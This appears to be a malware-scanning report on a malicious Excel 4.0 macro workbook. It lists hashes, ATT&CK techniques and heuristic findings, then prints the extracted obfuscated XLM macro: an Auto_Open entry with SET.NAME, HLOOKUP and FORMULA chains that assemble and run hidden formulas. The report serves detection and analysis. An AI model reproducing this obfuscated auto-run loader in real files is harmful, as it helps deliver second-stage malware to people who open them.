Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b0e362da87b2b9b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:35 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: b0d39718761128b2b9db8cbd76476550 SHA-1: 6b396f0ab260f83840e56e5676532d682f6e8bd9 SHA-256: 0b0e362da87b2b9b48482140ee44beafaf66bdd1b25fe8e0fac852adedf23d29
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open function. This function is designed to execute arbitrary commands, indicated by the 'RUN=0' and 'risky-formula=3' heuristic firings. The macro sheet itself contains obfuscated strings and potentially malicious formulas, suggesting it's intended to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6545 bytes
SHA-256: 66f5816c65331cbb7c9a81a1d16b0b81546171a3d7f2fdfe9f0e5c0cf2980656
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wJePcOtfa
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C141 
' 0018     24 LABEL : Cell Value, String Constant - bGqloccke len=0 
' 0018     20 LABEL : Cell Value, String Constant - BuLBs len=0 
' 0018     23 LABEL : Cell Value, String Constant - eiWTbLyM len=0 
' 0018     21 LABEL : Cell Value, String Constant - fitceD len=0 
' 0018     25 LABEL : Cell Value, String Constant - FkYCqPejRd len=0 
' 0018     22 LABEL : Cell Value, String Constant - GwfNkFM len=0 
' 0018     25 LABEL : Cell Value, String Constant - GWLXjTEZgX len=0 
' 0018     26 LABEL : Cell Value, String Constant - HqCRmPuhFWt len=0 
' 0018     27 LABEL : Cell Value, String Constant - HyafvCMoPWAx len=0 
' 0018     21 LABEL : Cell Value, String Constant - IXYQPo len=0 
' 0018     20 LABEL : Cell Value, String Constant - jRcsy len=0 
' 0018     21 LABEL : Cell Value, String Constant - lhAekj len=0 
' 0018     27 LABEL : Cell Value, String Constant - MstEIUKLIdNx len=0 
' 0018     20 LABEL : Cell Value, String Constant - qZyBc len=0 
' 0018     20 LABEL : Cell Value, String Constant - SpqHf len=0 
' 0018     25 LABEL : Cell Value, String Constant - TrkduFZfdz len=0 
' 0018     26 LABEL : Cell Value, String Constant - uBFrBGxZGwV len=0 
' 0018     23 LABEL : Cell Value, String Constant - uqdpCwoc len=0 
' 0018     26 LABEL : Cell Value, String Constant - wZlJwHzZYEW len=0 
' 0018     22 LABEL : Cell Value, String Constant - YsRwJsg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wJePcOtfa,C60,"SET.NAME("GWLXjTEZgX",VALUE("0"))",""
'  wJePcOtfa,C63,"SET.NAME("FkYCqPejRd",GWLXjTEZgX)",""
'  wJePcOtfa,C65,"SET.NAME("qZyBc",GWLXjTEZgX)",""
'  wJePcOtfa,C67,"SET.NAME("uqdpCwoc",COUNTA(BuLBs))",""
'  wJePcOtfa,C72,"SET.NAME("uBFrBGxZGwV",COUNTA(GwfNkFM))",""
'  wJePcOtfa,C75,[],""
'  wJePcOtfa,C77,"SET.NAME("SpqHf","")",""
'  wJePcOtfa,C82,"FkYCqPejRd",""
'  wJePcOtfa,C85,"SET.NAME("bGqloccke",HLOOKUP("*",BuLBs,FkYCqPejRd,FALSE))",""
'  wJePcOtfa,C88,"lhAekj",""
'  wJePcOtfa,C91,"SET.NAME("jRcsy",GWLXjTEZgX)",""
'  wJePcOtfa,C93,[],""
'  wJePcOtfa,C95,"jRcsy",""
'  wJePcOtfa,C99,"YsRwJsg",""
'  wJePcOtfa,C102,"fitceD",""
'  wJePcOtfa,C105,"eiWTbLyM",""
'  wJePcOtfa,C110,"SET.NAME("wZlJwHzZYEW",VALUE(HLOOKUP("*",GwfNkFM,eiWTbLyM,FALSE)))",""
'  wJePcOtfa,C112,"MstEIUKLIdNx",""
'  wJePcOtfa,C116,"SpqHf",""
'  wJePcOtfa,C120,"qZyBc",""
'  wJePcOtfa,C122,NEXT(),""
'  wJePcOtfa,C126,"TrkduFZfdz",""
'  wJePcOtfa,C130,"SET.NAME("f",INT(T(FORMULA(T(SpqHf)&"",""&T(TrkduFZfdz)))))",""
'  wJePcOtfa,C132,"IXYQPo",""
'  wJePcOtfa,C134,NEXT(),""
'  wJePcOtfa,C137,RETURN(),""
'  wJePcOtfa,C164,"SET.NAME("HyafvCMoPWAx",C60)",""
'  wJePcOtfa,C169,"BuLBs",""
'  wJePcOtfa,C172,"SET.NAME("GwfNkFM",R67C12)",""
'  wJePcOtfa,C177,"SET.NAME("IXYQPo",186)",""
'  wJePcOtfa,C180,"SET.NAME("HqCRmPuhFWt",3)",""
'  wJePcOtfa,C185,HyafvCMoPWAx(),""
'  wJePcOtfa,C186,HALT(),""

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